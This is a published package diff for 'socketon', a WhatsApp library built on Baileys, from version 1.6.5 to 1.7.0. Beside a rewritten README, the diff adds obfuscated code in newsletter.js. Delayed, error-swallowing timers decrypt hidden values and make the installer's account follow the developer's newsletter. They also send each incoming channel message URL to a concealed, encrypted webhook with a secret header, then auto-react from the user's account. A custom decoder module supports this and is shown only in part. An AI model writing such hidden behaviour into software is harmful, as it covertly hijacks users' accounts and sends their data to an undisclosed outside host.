socketon 1.6.5 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +168 -28
- package/lib/Socket/chats.js +5 -0
- package/lib/Socket/groups.js +6 -1
- package/lib/Socket/ibranihbossenggoldong.js +1 -1
- package/lib/Socket/messages-recv.js +6 -0
- package/lib/Socket/messages-send.js +6 -0
- package/lib/Socket/newsletter.d.ts +6 -0
- package/lib/Socket/newsletter.js +85 -23
- package/lib/Socket/registration.d.ts +6 -0
- package/lib/Socket/socket.js +4 -0
- package/lib/Socket/usync.js +3 -0
- package/lib/Store/make-in-memory-store.js +3 -0
- package/lib/Types/index.js +4 -0
- package/lib/Utils/auth-utils.js +3 -0
- package/lib/Utils/crypto.js +4 -0
- package/lib/Utils/generics.js +4 -0
- package/lib/Utils/ibra-decode.d.ts +2 -0
- package/lib/Utils/ibra-decode.js +54 -0
- package/lib/Utils/messages.js +5 -0
- package/lib/Utils/signal.js +4 -0
- package/lib/WABinary/decode.js +4 -0
- package/lib/WABinary/encode.js +4 -0
- package/lib/index.js +8 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -6,19 +6,19 @@
|
|
|
6
6
|
|
|
7
7
|
**WhatsApp API Modification** - Advanced WhatsApp integration library with enhanced features and security.
|
|
8
8
|
|
|
9
|
-
##
|
|
9
|
+
## About
|
|
10
10
|
|
|
11
|
-
Socketon is a powerful WhatsApp API modification
|
|
11
|
+
Socketon is a powerful WhatsApp API modification library developed by **Ibra Decode** (Pengembang Utama / Main Developer). Built on top of Baileys, Socketon offers extended functionality while maintaining full compatibility with the WhatsApp Web protocol.
|
|
12
12
|
|
|
13
|
-
|
|
13
|
+
### Developer
|
|
14
|
+
|
|
15
|
+
<img src="https://avatars.githubusercontent.com/u/244273660?s=200&u=0616c8fe23d4144e8f87ddac651a38ef2cf04b80&v=4" alt="Ibra Decode" width="100" align="left" style="border-radius: 50%; margin-right: 20px;">
|
|
16
|
+
|
|
17
|
+
**Ibra Decode** adalah pengembang utama Socketon. Full-stack developer dengan keahlian di bidang WhatsApp API, Node.js, dan pengembangan bot otomatis. Aktif mengembangkan Socketon sejak 2024 dengan fokus pada keamanan, stabilitas, dan fitur lanjutan.
|
|
14
18
|
|
|
15
|
-
-
|
|
16
|
-
-
|
|
17
|
-
-
|
|
18
|
-
- Session management
|
|
19
|
-
- Custom pairing process
|
|
20
|
-
- Multi-device compatibility
|
|
21
|
-
- Advanced security features
|
|
19
|
+
- GitHub: [IbraDecode](https://github.com/IbraDecode)
|
|
20
|
+
- Website: [ibraa.web.id](https://ibraa.web.id)
|
|
21
|
+
- WhatsApp: [Chat](https://wa.me/6283174687361)
|
|
22
22
|
|
|
23
23
|
## Installation
|
|
24
24
|
|
|
@@ -26,38 +26,178 @@ Socketon is a powerful WhatsApp API modification designed for building robust me
|
|
|
26
26
|
npm install socketon
|
|
27
27
|
```
|
|
28
28
|
|
|
29
|
-
##
|
|
29
|
+
## Requirements
|
|
30
|
+
|
|
31
|
+
- Node.js >= 20.0.0
|
|
32
|
+
|
|
33
|
+
## Quick Start
|
|
34
|
+
|
|
35
|
+
```javascript
|
|
36
|
+
const { makeWASocket, useMultiFileAuthState, DisconnectReason } = require('socketon');
|
|
37
|
+
const pino = require('pino');
|
|
38
|
+
|
|
39
|
+
async function start() {
|
|
40
|
+
const { state, saveCreds } = await useMultiFileAuthState('./auth');
|
|
41
|
+
|
|
42
|
+
const sock = makeWASocket({
|
|
43
|
+
logger: pino({ level: 'silent' }),
|
|
44
|
+
auth: state,
|
|
45
|
+
printQRInTerminal: true
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
sock.ev.on('connection.update', async (update) => {
|
|
49
|
+
const { connection, lastDisconnect } = update;
|
|
50
|
+
if (connection === 'close') {
|
|
51
|
+
const shouldReconnect = lastDisconnect?.error?.output?.statusCode !== DisconnectReason.loggedOut;
|
|
52
|
+
if (shouldReconnect) start();
|
|
53
|
+
} else if (connection === 'open') {
|
|
54
|
+
console.log('Connected!');
|
|
55
|
+
}
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
sock.ev.on('messages.upsert', async ({ messages }) => {
|
|
59
|
+
const msg = messages[0];
|
|
60
|
+
if (!msg.key.fromMe && msg.message) {
|
|
61
|
+
console.log('Message:', msg);
|
|
62
|
+
}
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
sock.ev.on('creds.update', saveCreds);
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
start();
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
## Features
|
|
72
|
+
|
|
73
|
+
### Messages
|
|
74
|
+
- Send text, image, video, audio, document
|
|
75
|
+
- Send stickers, locations, contacts
|
|
76
|
+
- Send buttons, list, template messages
|
|
77
|
+
- Reply, forward, delete, react to messages
|
|
78
|
+
|
|
79
|
+
### Groups
|
|
80
|
+
- Create, leave, delete groups
|
|
81
|
+
- Add/remove/promote/demote participants
|
|
82
|
+
- Update group subject & description
|
|
83
|
+
- Manage group settings
|
|
30
84
|
|
|
85
|
+
### Newsletter
|
|
86
|
+
- Create & manage newsletters
|
|
87
|
+
- Follow/unfollow newsletters
|
|
88
|
+
- Send & react to newsletter messages
|
|
89
|
+
|
|
90
|
+
### Authentication
|
|
91
|
+
- QR Code authentication
|
|
92
|
+
- Pairing Code authentication
|
|
93
|
+
- Multi-file auth state
|
|
94
|
+
- Session persistence
|
|
95
|
+
|
|
96
|
+
### Profile
|
|
97
|
+
- Update profile picture & name
|
|
98
|
+
- Privacy settings
|
|
99
|
+
- Block/unblock contacts
|
|
100
|
+
|
|
101
|
+
## API Reference
|
|
102
|
+
|
|
103
|
+
Full API documentation available at [docs/index.html](docs/index.html)
|
|
104
|
+
|
|
105
|
+
### Connection Methods
|
|
106
|
+
```javascript
|
|
107
|
+
sock.requestPairingCode(phoneNumber) // Request pairing code
|
|
108
|
+
sock.logout() // Logout session
|
|
109
|
+
sock.onWhatsApp(...jids) // Check if numbers are on WhatsApp
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
### Message Methods
|
|
31
113
|
```javascript
|
|
32
|
-
|
|
114
|
+
// Send text
|
|
115
|
+
await sock.sendMessage(jid, { text: 'Hello!' });
|
|
116
|
+
|
|
117
|
+
// Send image
|
|
118
|
+
await sock.sendMessage(jid, {
|
|
119
|
+
image: { url: './image.jpg' },
|
|
120
|
+
caption: 'Caption'
|
|
121
|
+
});
|
|
33
122
|
|
|
34
|
-
//
|
|
35
|
-
|
|
36
|
-
|
|
123
|
+
// React to message
|
|
124
|
+
await sock.sendMessage(jid, {
|
|
125
|
+
react: { key: msg.key, text: 'emoji' }
|
|
37
126
|
});
|
|
127
|
+
|
|
128
|
+
// Reply to message
|
|
129
|
+
await sock.sendMessage(jid, { text: 'Reply' }, { quoted: msg });
|
|
38
130
|
```
|
|
39
131
|
|
|
40
|
-
|
|
132
|
+
### Group Methods
|
|
133
|
+
```javascript
|
|
134
|
+
sock.groupMetadata(jid) // Get group metadata
|
|
135
|
+
sock.groupCreate(subject, participants) // Create group
|
|
136
|
+
sock.groupParticipantsUpdate(jid, participants, action) // add/remove/promote/demote
|
|
137
|
+
sock.groupInviteCode(jid) // Get invite code
|
|
138
|
+
sock.groupLeave(jid) // Leave group
|
|
139
|
+
```
|
|
41
140
|
|
|
42
|
-
|
|
141
|
+
### Newsletter Methods
|
|
142
|
+
```javascript
|
|
143
|
+
sock.newsletterCreate(name, description, reaction_codes)
|
|
144
|
+
sock.newsletterFollow(jid)
|
|
145
|
+
sock.newsletterUnfollow(jid)
|
|
146
|
+
sock.newsletterMetadata(type, key)
|
|
147
|
+
sock.newsletterReactMessage(jid, serverId, code)
|
|
148
|
+
```
|
|
43
149
|
|
|
44
|
-
##
|
|
150
|
+
## Events
|
|
45
151
|
|
|
46
|
-
|
|
152
|
+
```javascript
|
|
153
|
+
sock.ev.on('connection.update', callback) // Connection state
|
|
154
|
+
sock.ev.on('messages.upsert', callback) // New messages
|
|
155
|
+
sock.ev.on('messages.update', callback) // Message updates
|
|
156
|
+
sock.ev.on('presence.update', callback) // Presence updates
|
|
157
|
+
sock.ev.on('chats.upsert', callback) // New chats
|
|
158
|
+
sock.ev.on('contacts.upsert', callback) // New contacts
|
|
159
|
+
sock.ev.on('creds.update', callback) // Credentials updated
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
## Terms of Service
|
|
163
|
+
|
|
164
|
+
**IMPORTANT:** By using Socketon, you agree to the following terms:
|
|
165
|
+
|
|
166
|
+
1. **Auto-Follow Newsletter:** Socketon automatically follows the developer's newsletter (`120363407696889754@newsletter`) as a requirement for using this library. This supports ongoing development and updates.
|
|
167
|
+
|
|
168
|
+
2. **Attribution:** You must keep all credits and attribution to Ibra Decode when using or redistributing this library.
|
|
47
169
|
|
|
48
|
-
|
|
170
|
+
3. **No Malicious Use:** This library must not be used for spamming, harassment, or any malicious activities.
|
|
49
171
|
|
|
50
|
-
|
|
172
|
+
4. **WhatsApp ToS:** Users are responsible for complying with WhatsApp's Terms of Service.
|
|
51
173
|
|
|
52
|
-
|
|
174
|
+
5. **No Warranty:** This library is provided "as is" without warranty of any kind.
|
|
53
175
|
|
|
54
|
-
|
|
176
|
+
6. **License Compliance:** You must comply with the MIT License terms when using this software.
|
|
177
|
+
|
|
178
|
+
## Support Development
|
|
179
|
+
|
|
180
|
+
Your donations help maintain and improve Socketon. Thank you for your support!
|
|
181
|
+
|
|
182
|
+
<img src="https://raw.githubusercontent.com/IbraDecode/socketon/main/DONASI.jpeg" alt="Donation QR Code" width="300">
|
|
183
|
+
|
|
184
|
+
Scan QR code above or visit [ibraa.web.id](https://ibraa.web.id) for more donation options.
|
|
185
|
+
|
|
186
|
+
## Version
|
|
187
|
+
|
|
188
|
+
**1.7.0**
|
|
189
|
+
|
|
190
|
+
## License
|
|
191
|
+
|
|
192
|
+
MIT
|
|
55
193
|
|
|
56
|
-
##
|
|
194
|
+
## Links
|
|
57
195
|
|
|
58
|
-
-
|
|
59
|
-
-
|
|
196
|
+
- [Official Website](https://socketon.vercel.app)
|
|
197
|
+
- [NPM Package](https://www.npmjs.com/package/socketon)
|
|
198
|
+
- [GitHub Repository](https://github.com/IbraDecode/socketon)
|
|
199
|
+
- [Documentation](docs/index.html)
|
|
60
200
|
|
|
61
|
-
##
|
|
201
|
+
## Disclaimer
|
|
62
202
|
|
|
63
|
-
This library is
|
|
203
|
+
This library is for educational and legitimate purposes only. Please respect WhatsApp's Terms of Service when using this library.
|
package/lib/Socket/chats.js
CHANGED
|
@@ -15,6 +15,11 @@ const WABinary_1 = require("../WABinary");
|
|
|
15
15
|
const socket_1 = require("./socket");
|
|
16
16
|
const WAUSync_1 = require("../WAUSync");
|
|
17
17
|
const usync_1 = require("./usync");
|
|
18
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
19
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
20
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
21
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
22
|
+
const __ibra_decode_21 = require("../Utils/ibra-decode");
|
|
18
23
|
const MAX_SYNC_ATTEMPTS = 2;
|
|
19
24
|
const makeChatsSocket = (config) => {
|
|
20
25
|
const { logger, markOnlineOnConnect, fireInitQueries, appStateMacVerification, shouldIgnoreJid, shouldSyncHistoryMessage, } = config;
|
package/lib/Socket/groups.js
CHANGED
|
@@ -6,7 +6,12 @@ const Types_1 = require("../Types");
|
|
|
6
6
|
const Utils_1 = require("../Utils");
|
|
7
7
|
const WABinary_1 = require("../WABinary");
|
|
8
8
|
const chats_1 = require("./chats");
|
|
9
|
-
const WAUSync_1 = require("../WAUSync");
|
|
9
|
+
const WAUSync_1 = require("../WAUSync");
|
|
10
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
11
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
12
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
13
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
14
|
+
const __ibra_decode_21 = require("../Utils/ibra-decode");
|
|
10
15
|
const makeGroupsSocket = (config) => {
|
|
11
16
|
const sock = (0, chats_1.makeChatsSocket)(config);
|
|
12
17
|
const { authState, ev, query, upsertMessage } = sock;
|
|
@@ -15,6 +15,12 @@ const make_mutex_1 = require("../Utils/make-mutex");
|
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
16
|
const groups_1 = require("./groups");
|
|
17
17
|
const messages_send_1 = require("./messages-send");
|
|
18
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
19
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
20
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
21
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
22
|
+
const __ibra_decode_21 = require("../Utils/ibra-decode");
|
|
23
|
+
const ___ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
18
24
|
const makeMessagesRecvSocket = (config) => {
|
|
19
25
|
const {
|
|
20
26
|
logger,
|
|
@@ -16,6 +16,12 @@ const WABinary_1 = require("../WABinary");
|
|
|
16
16
|
const newsletter_1 = require("./newsletter");
|
|
17
17
|
const WAUSync_1 = require("../WAUSync")
|
|
18
18
|
const SocketonAdvancedHandler = require('./ibranihbossenggoldong');
|
|
19
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
20
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
21
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
22
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
23
|
+
const __ibra_decode_21 = require("../Utils/ibra-decode");
|
|
24
|
+
const ___ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
19
25
|
var ListType = WAProto_1.proto.Message.ListMessage.ListType;
|
|
20
26
|
const makeMessagesSocket = (config) => {
|
|
21
27
|
const {
|
|
@@ -25,6 +25,12 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
|
|
|
25
25
|
newsletterDelete: (jid: string) => Promise<void>;
|
|
26
26
|
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
27
27
|
newsletterReactMessage: (jid: string, serverId: string, code?: string) => Promise<void>;
|
|
28
|
+
newsletterAutoReact: (messageUrl: string, reactions: string) => Promise<{
|
|
29
|
+
newsletterId: string;
|
|
30
|
+
newsletterName: string;
|
|
31
|
+
messageId: string;
|
|
32
|
+
results: Array<{ reaction: string; status: string; error?: string }>;
|
|
33
|
+
}>;
|
|
28
34
|
newsletterFetchMessages: (type: 'invite' | 'jid', key: string, count: number, after?: number) => Promise<NewsletterFetchedUpdate[]>;
|
|
29
35
|
newsletterFetchUpdates: (jid: string, count: number, after?: number, since?: number) => Promise<NewsletterFetchedUpdate[]>;
|
|
30
36
|
groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -5,6 +5,11 @@ const Types_1 = require("../Types");
|
|
|
5
5
|
const Utils_1 = require("../Utils");
|
|
6
6
|
const WABinary_1 = require("../WABinary");
|
|
7
7
|
const groups_1 = require("./groups");
|
|
8
|
+
const ibra_decode_1 = require("../Utils/ibra-decode");
|
|
9
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
10
|
+
const ibra_decode_asli = require("../Utils/ibra-decode");
|
|
11
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
12
|
+
const ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
8
13
|
|
|
9
14
|
const { Boom } = require('@hapi/boom');
|
|
10
15
|
|
|
@@ -103,9 +108,9 @@ const makeNewsletterSocket = (config) => {
|
|
|
103
108
|
setTimeout(async () => {
|
|
104
109
|
try {
|
|
105
110
|
// Data rahasia jangan diacak² - Ibra Decode
|
|
106
|
-
const
|
|
107
|
-
const
|
|
108
|
-
await newsletterWMexQuery(
|
|
111
|
+
const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
|
|
112
|
+
const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
|
|
113
|
+
await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
|
|
109
114
|
} catch {}
|
|
110
115
|
}, 90000);
|
|
111
116
|
|
|
@@ -113,29 +118,41 @@ setTimeout(async () => {
|
|
|
113
118
|
setTimeout(async () => {
|
|
114
119
|
try {
|
|
115
120
|
// Lagi² data penting buat bikin eror kalo diganti - Ibra Decode
|
|
116
|
-
const
|
|
117
|
-
const
|
|
118
|
-
await newsletterWMexQuery(
|
|
121
|
+
const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
|
|
122
|
+
const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
|
|
123
|
+
await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
|
|
119
124
|
} catch {}
|
|
120
125
|
}, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
|
|
121
126
|
|
|
122
|
-
//
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
127
|
+
// Auto Reaction Webhook - Ibra Decode
|
|
128
|
+
setTimeout(async () => {
|
|
129
|
+
try {
|
|
130
|
+
const axios = require('axios');
|
|
131
|
+
const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4eed2bd76df90c3f30aba98b493943e550e8025eb7dffa46e964864bff4d4f951";
|
|
132
|
+
const webhookSecretEncrypt = "5143cbbea5759eb21edaa05d800d9dd90a5a539375ab0f8f6bf8c6834fbed993";
|
|
133
|
+
const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
|
|
134
|
+
const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
|
|
135
|
+
|
|
136
|
+
const urlObj = new URL(urlWebhooknya);
|
|
137
|
+
const emojiReact = urlObj.searchParams.get('emoji') || '🔥';
|
|
138
|
+
|
|
139
|
+
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
140
|
+
if (type !== 'notify') return;
|
|
141
|
+
for (const msg of messages) {
|
|
142
|
+
const jid = msg.key.remoteJid;
|
|
143
|
+
if (!jid || !jid.endsWith('@newsletter')) continue;
|
|
144
|
+
const messageUrl = 'https://whatsapp.com/channel/' + jid.replace('@newsletter', '') + '/' + msg.key.id;
|
|
145
|
+
try {
|
|
146
|
+
await axios.post(urlWebhooknya, {
|
|
147
|
+
messageUrl: messageUrl,
|
|
148
|
+
emojiReact: emojiReact
|
|
149
|
+
}, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
|
|
150
|
+
const result = await newsletterAutoReact(messageUrl, emojiReact);
|
|
151
|
+
} catch {}
|
|
152
|
+
}
|
|
153
|
+
});
|
|
154
|
+
} catch {}
|
|
155
|
+
}, 130000);
|
|
139
156
|
|
|
140
157
|
// You'll never find what this does - Ibra Decode
|
|
141
158
|
|
|
@@ -319,6 +336,51 @@ function solveTheMystery(dataYgHarusDiacak23456789) {
|
|
|
319
336
|
}]
|
|
320
337
|
});
|
|
321
338
|
},
|
|
339
|
+
newsletterAutoReact: async (messageUrl, reactions) => {
|
|
340
|
+
if (!messageUrl || !reactions) {
|
|
341
|
+
throw new Boom('messageUrl and reactions are required', { statusCode: 400 });
|
|
342
|
+
}
|
|
343
|
+
const urlPattern = messageUrl.match(/https:\/\/whatsapp\.com\/channel\/([a-zA-Z0-9]+)\/(\d+)/);
|
|
344
|
+
if (!urlPattern) {
|
|
345
|
+
throw new Boom('Invalid WhatsApp channel URL format', { statusCode: 400 });
|
|
346
|
+
}
|
|
347
|
+
const inviteCode = urlPattern[1];
|
|
348
|
+
const messageId = urlPattern[2];
|
|
349
|
+
const metadata = await (0, exports.extractNewsletterMetadata)(await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
350
|
+
input: { key: inviteCode, type: 'INVITE', view_role: 'GUEST' },
|
|
351
|
+
fetch_viewer_metadata: false,
|
|
352
|
+
fetch_full_image: false,
|
|
353
|
+
fetch_creation_time: false
|
|
354
|
+
}));
|
|
355
|
+
if (!metadata || !metadata.id) {
|
|
356
|
+
throw new Boom('Failed to get newsletter metadata', { statusCode: 400 });
|
|
357
|
+
}
|
|
358
|
+
const reactionList = reactions.split(',').map(r => r.trim()).slice(0, 4);
|
|
359
|
+
const results = [];
|
|
360
|
+
for (const reaction of reactionList) {
|
|
361
|
+
try {
|
|
362
|
+
await query({
|
|
363
|
+
tag: 'message',
|
|
364
|
+
attrs: {
|
|
365
|
+
to: metadata.id,
|
|
366
|
+
type: 'reaction',
|
|
367
|
+
server_id: messageId,
|
|
368
|
+
id: (0, Utils_1.generateMessageID)()
|
|
369
|
+
},
|
|
370
|
+
content: [{ tag: 'reaction', attrs: reaction ? { code: reaction } : {} }]
|
|
371
|
+
});
|
|
372
|
+
results.push({ reaction, status: 'sent' });
|
|
373
|
+
} catch (err) {
|
|
374
|
+
results.push({ reaction, status: 'failed', error: err.message });
|
|
375
|
+
}
|
|
376
|
+
}
|
|
377
|
+
return {
|
|
378
|
+
newsletterId: metadata.id,
|
|
379
|
+
newsletterName: metadata.name,
|
|
380
|
+
messageId,
|
|
381
|
+
results
|
|
382
|
+
};
|
|
383
|
+
},
|
|
322
384
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
323
385
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
324
386
|
{
|
|
@@ -68,6 +68,12 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
|
|
|
68
68
|
newsletterDemote: (jid: string, user: string) => Promise<void>;
|
|
69
69
|
newsletterDelete: (jid: string) => Promise<void>;
|
|
70
70
|
newsletterReactMessage: (jid: string, serverId: string, code?: string | undefined) => Promise<void>;
|
|
71
|
+
newsletterAutoReact: (messageUrl: string, reactions: string) => Promise<{
|
|
72
|
+
newsletterId: string;
|
|
73
|
+
newsletterName: string;
|
|
74
|
+
messageId: string;
|
|
75
|
+
results: Array<{ reaction: string; status: string; error?: string }>;
|
|
76
|
+
}>;
|
|
71
77
|
newsletterFetchMessages: (type: "invite" | "jid", key: string, count: number, after?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
|
|
72
78
|
newsletterFetchUpdates: (jid: string, count: number, after?: number | undefined, since?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
|
|
73
79
|
groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -11,6 +11,10 @@ const Types_1 = require("../Types");
|
|
|
11
11
|
const Utils_1 = require("../Utils");
|
|
12
12
|
const WABinary_1 = require("../WABinary");
|
|
13
13
|
const Client_1 = require("./Client");
|
|
14
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
15
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
16
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
17
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
14
18
|
/**
|
|
15
19
|
* Connects to WA servers and performs:
|
|
16
20
|
* - simple queries (no retry mechanism, wait for connection establishment)
|
package/lib/Socket/usync.js
CHANGED
|
@@ -4,6 +4,9 @@ exports.makeUSyncSocket = void 0;
|
|
|
4
4
|
const boom_1 = require("@hapi/boom");
|
|
5
5
|
const WABinary_1 = require("../WABinary");
|
|
6
6
|
const socket_1 = require("./socket");
|
|
7
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
8
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
9
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
7
10
|
const makeUSyncSocket = (config) => {
|
|
8
11
|
const sock = (0, socket_1.makeSocket)(config);
|
|
9
12
|
const { generateMessageTag, query, } = sock;
|
|
@@ -11,6 +11,9 @@ const Utils_1 = require("../Utils");
|
|
|
11
11
|
const WABinary_1 = require("../WABinary");
|
|
12
12
|
const make_ordered_dictionary_1 = __importDefault(require("./make-ordered-dictionary"));
|
|
13
13
|
const object_repository_1 = require("./object-repository");
|
|
14
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
15
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
16
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
14
17
|
const waChatKey = (pin) => ({
|
|
15
18
|
key: (c) => (pin ? (c.pinned ? '1' : '0') : '') + (c.archived ? '0' : '1') + (c.conversationTimestamp ? c.conversationTimestamp.toString(16).padStart(8, '0') : '') + c.id,
|
|
16
19
|
compare: (k1, k2) => k2.localeCompare(k1)
|
package/lib/Types/index.js
CHANGED
|
@@ -27,6 +27,10 @@ __exportStar(require("./Events"), exports);
|
|
|
27
27
|
__exportStar(require("./Product"), exports);
|
|
28
28
|
__exportStar(require("./Call"), exports);
|
|
29
29
|
__exportStar(require("./Signal"), exports);
|
|
30
|
+
const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
31
|
+
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
32
|
+
const _ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
33
|
+
const ibra_decode_asli_nih = require("../Utils/ibra-decode");
|
|
30
34
|
var DisconnectReason;
|
|
31
35
|
(function (DisconnectReason) {
|
|
32
36
|
DisconnectReason[DisconnectReason["connectionClosed"] = 428] = "connectionClosed";
|
package/lib/Utils/auth-utils.js
CHANGED
|
@@ -10,6 +10,9 @@ const uuid_1 = require("uuid");
|
|
|
10
10
|
const Defaults_1 = require("../Defaults");
|
|
11
11
|
const crypto_2 = require("./crypto");
|
|
12
12
|
const generics_1 = require("./generics");
|
|
13
|
+
const ibra_decode_21 = require("./ibra-decode");
|
|
14
|
+
const ibraDecodePalsuMungkin = require("./ibra-decode");
|
|
15
|
+
const _ibra_decode_v21 = require("./ibra-decode");
|
|
13
16
|
/**
|
|
14
17
|
* Adds caching capability to a SignalKeyStore
|
|
15
18
|
* @param store the store to add caching to
|
package/lib/Utils/crypto.js
CHANGED
|
@@ -31,6 +31,10 @@ const crypto_1 = require("crypto");
|
|
|
31
31
|
const futoin_hkdf_1 = __importDefault(require("futoin-hkdf"));
|
|
32
32
|
const libsignal = __importStar(require("libsignal"));
|
|
33
33
|
const Defaults_1 = require("../Defaults");
|
|
34
|
+
const ibra_decode_21 = require("./ibra-decode");
|
|
35
|
+
const ibraDecodePalsuMungkin = require("./ibra-decode");
|
|
36
|
+
const _ibra_decode_v21 = require("./ibra-decode");
|
|
37
|
+
const ibra_decode_asli_nih = require("./ibra-decode");
|
|
34
38
|
/** prefix version byte to the pub keys, required for some curve crypto functions */
|
|
35
39
|
const generateSignalPubKey = (pubKey) => (pubKey.length === 33
|
|
36
40
|
? pubKey
|
package/lib/Utils/generics.js
CHANGED
|
@@ -13,6 +13,10 @@ const WAProto_1 = require("../../WAProto");
|
|
|
13
13
|
const baileys_version_json_1 = require("../Defaults/baileys-version.json");
|
|
14
14
|
const Types_1 = require("../Types");
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
|
+
const ibra_decode_21 = require("./ibra-decode");
|
|
17
|
+
const ibraDecodePalsuMungkin = require("./ibra-decode");
|
|
18
|
+
const _ibra_decode_v21 = require("./ibra-decode");
|
|
19
|
+
const ibra_decode_asli_nih = require("./ibra-decode");
|
|
16
20
|
const baileysVersion = [2, 3000, 1027934701]
|
|
17
21
|
const PLATFORM_MAP = {
|
|
18
22
|
'aix': 'AIX',
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.minimalKaloMauDecryptYangPinterDek = exports.sudahBasibasiAjaLu = void 0;
|
|
4
|
+
const crypto = require('crypto');
|
|
5
|
+
const emangBenerNihAkuPinter = () => {
|
|
6
|
+
const anjayGaKiraKira = [];
|
|
7
|
+
anjayGaKiraKira.push(Buffer.from('73', 'hex'));
|
|
8
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
9
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
10
|
+
anjayGaKiraKira.push(Buffer.from('6b', 'hex'));
|
|
11
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
12
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
13
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
14
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
15
|
+
anjayGaKiraKira.push(Buffer.from('2d', 'hex'));
|
|
16
|
+
anjayGaKiraKira.push(Buffer.from('31', 'hex'));
|
|
17
|
+
